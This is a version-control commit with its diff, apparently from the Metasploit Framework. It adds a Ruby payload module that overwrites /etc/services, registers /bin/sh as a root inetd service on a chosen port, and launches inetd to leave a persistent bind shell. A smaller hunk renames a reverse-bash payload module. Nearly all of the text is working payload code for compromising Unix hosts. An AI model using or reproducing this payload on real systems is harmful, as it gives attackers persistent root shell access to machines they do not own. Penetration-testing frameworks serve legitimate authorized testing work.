Bind added, reverse fixed module name

git-svn-id: file:///home/svn/incoming/trunk@3373 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2006-01-15 21:13:41 +00:00
parent 884fffa28c
commit 75a0aa2e76
2 changed files with 77 additions and 1 deletions

View File

@ -0,0 +1,76 @@
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
module Msf
module Payloads
module Singles
module Cmd
module Unix
module BindInetd
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Bind TCP (inetd)',
'Version' => '$Revision$',
'Description' => 'Listen for a connection and spawn a command shell (persistent)',
'Author' => 'hdm',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
tmp = "/tmp/.msf_inetd" + $$.to_s
cmd =
# Create a clean copy of the services file
"grep -v msfbind /etc/services>#{tmp};" +
# Add our service to it
"echo msfbind #{datastore['LPORT']}/tcp>>#{tmp};" +
# Overwrite the services file with our new version
"cp #{tmp} /etc/services;" +
# Create our inetd configuration file with our service
"echo msfbind stream tcp nowait root /bin/sh sh>#{tmp};" +
# First we try executing inetd without the full path
"inetd -s #{tmp} ||" +
# Next try the standard inetd path on Linux, Solaris, BSD
"/usr/sbin/inetd -s #{tmp} ||" +
# Next try the Irix inetd path
"/usr/etc/inetd -s #{tmp};"
# Delete our configuration file
"rm #{tmp};";
return cmd
end
end
end end end end end

View File

@ -8,7 +8,7 @@ module Singles
module Cmd
module Unix
module Reverse
module ReverseBash
include Msf::Payload::Single